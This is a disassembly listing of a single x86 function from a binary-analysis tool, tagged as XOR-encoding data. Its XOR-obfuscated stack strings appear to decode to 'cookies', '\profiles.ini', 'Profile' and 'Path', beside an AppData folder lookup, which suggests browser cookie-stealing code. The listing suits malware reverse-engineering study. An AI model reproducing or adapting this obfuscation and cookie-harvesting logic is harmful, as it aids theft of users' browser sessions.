Function at 0x12e1436
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xe16bd0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x14f0
push ebx
call fcn.013864e0
push esi
mov esi, ecx
mov dword [ebp - 0x11c], esi
push edi
mov dword [ebp - 0x24], 0
mov dword [ebp - 4], 2
lea ecx, [esi + 8]
push 0
mov byte [esi], 0
call fcn.0130ff50
mov byte [ebp - 4], 1
sub esp, 8
mov dword [ebp - 0x24], 1
mov eax, esp
lea ecx, [ebp - 0xc0]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.0130c390
add esp, 8
mov byte [ebp - 4], 3
xor ecx, ecx
mov dword [ebp - 0x34], 0xfdfafbf0
mov dword [ebp - 0x30], 0xeafdfe
mov byte [ebp - 0x2c], 1
nop
mov al, cl
sub al, 0x6d
xor byte [ebp + ecx - 0x34], al
inc ecx
cmp ecx, 7
jb 0x12e14a0
lea eax, [ebp - 0x34]
mov byte [ebp - 0x2c], 0
push eax
mov ecx, esi
call fcn.01312600
mov byte [ebp - 4], 1
mov edi, eax
mov cl, byte [ebp - 0xc0]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xb8]
mov byte [ebp - 0xc0], dl
mov esi, dword [edi + 0xc]
mov edx, dword [edi + 8]
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0xc0]
mov dword [edi + 8], eax
mov dword [ebp - 0xb8], edx
mov dword [ebp - 0xb4], esi
call fcn.0130bff0
push 0x104
lea eax, [ebp - 0x500]
push 0
push eax
call fcn.01387760
add esp, 0xc
lea eax, [ebp - 0x500]
push eax
push 0
push 0
push 0x1a
push 0
call dword [0xe1c2e0]
lea ecx, [ebp - 0x500]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x12e1536
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebx + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x12e2dfa
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
push edx
cmovae eax, dword [ebx + 8]
push eax
push ecx
lea eax, [ebp - 0x500]
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x208]
call fcn.01315f90
mov dword [ebp - 0x24], 0x81
mov byte [ebp - 4], 4
xor ecx, ecx
mov dword [ebp - 0x68], 0xf9e7e4cf
mov dword [ebp - 0x64], 0xfff5f1f1
mov dword [ebp - 0x60], 0xf0f4b2e8
mov word [ebp - 0x5c], 0xf6
mov byte [ebp - 0x5a], 1
mov al, cl
sub al, 0x6d
xor byte [ebp + ecx - 0x68], al
inc ecx
cmp ecx, 0xd
jb 0x12e15a1
lea ecx, [ebp - 0x68]
mov byte [ebp - 0x5a], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x12e15c0
sub ecx, edx
mov eax, 0x7fffffff
mov edx, dword [ebp - 0x1f8]
sub eax, edx
cmp eax, ecx
jb 0x12e2dff
cmp dword [ebp - 0x1f4], 0x10
lea eax, [ebp - 0x208]
push ecx
cmovae eax, dword [ebp - 0x208]
lea ecx, [ebp - 0x68]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1e0]
call fcn.01315f90
mov esi, 0xc1
mov dword [ebp - 0x24], esi
mov byte [ebp - 4], 5
lea eax, [ebp - 0x1e0]
cmp dword [ebp - 0x1cc], 0x10
cmovae eax, dword [ebp - 0x1e0]
push eax
push 0x1000
lea eax, [ebp - 0x1500]
push eax
push ebp
call fcn.014e6db4
lea edi, [ebp - 0x1500]
mov dword [ebp - 0x114], edi
nop word [eax + eax]
mov dword [ebp - 0x91], 0xf0fae6c3
xor ecx, ecx
mov dword [ebp - 0x8d], 0xfcf4fe
mov byte [ebp - 0x89], 1
nop dword [eax]
mov al, cl
sub al, 0x6d
xor byte [ebp + ecx - 0x91], al
inc ecx
cmp ecx, 7
jb 0x12e1670
push 7
lea eax, [ebp - 0x91]
mov byte [ebp - 0x89], 0
push eax
push edi
call fcn.01392d5e
add esp, 0xc
test eax, eax
jne 0x12e2d0d
push 0x104
push eax
lea eax, [ebp - 0x3f8]
push eax
call fcn.01387760
add esp, 0xc
mov dword [ebp - 0x52], 0xfee1f5c3
cmp dword [ebp - 0x1cc], 0x10
lea edx, [ebp - 0x1e0]
mov word [ebp - 0x4e], 0x100
cmovae edx, dword [ebp - 0x1e0]
xor ecx, ecx
nop word [eax + eax]
mov al, cl
sub al, 0x6d
xor byte [ebp + ecx - 0x52], al
inc ecx
cmp ecx, 4
jb 0x12e16e0
push edx
push 0x104
lea eax, [ebp - 0x3f8]
mov byte [ebp - 0x4d], 0
push eax
push 0
lea eax, [ebp - 0x52]
push eax
push edi
call fcn.013f9548
ret
push edi
call fcn.013ee19d
call fcn.012aa840
call fcn.012aa840
call fcn.0138aa20
lea ecx, [ebp - 0xc0]
call fcn.01310220
push eax
lea ecx, [ebp - 0x2d8]
call fcn.012aaf00
push eax
mov edx, 0xe30e10
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x2f0]
call fcn.013123b0
add esp, 4
push eax
mov edx, 0x131
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x2c0]
call fcn.012b1120
add esp, 4
lea eax, [ebp - 0x2c0]
push 0xe416e8
push eax
call fcn.0138716b
int3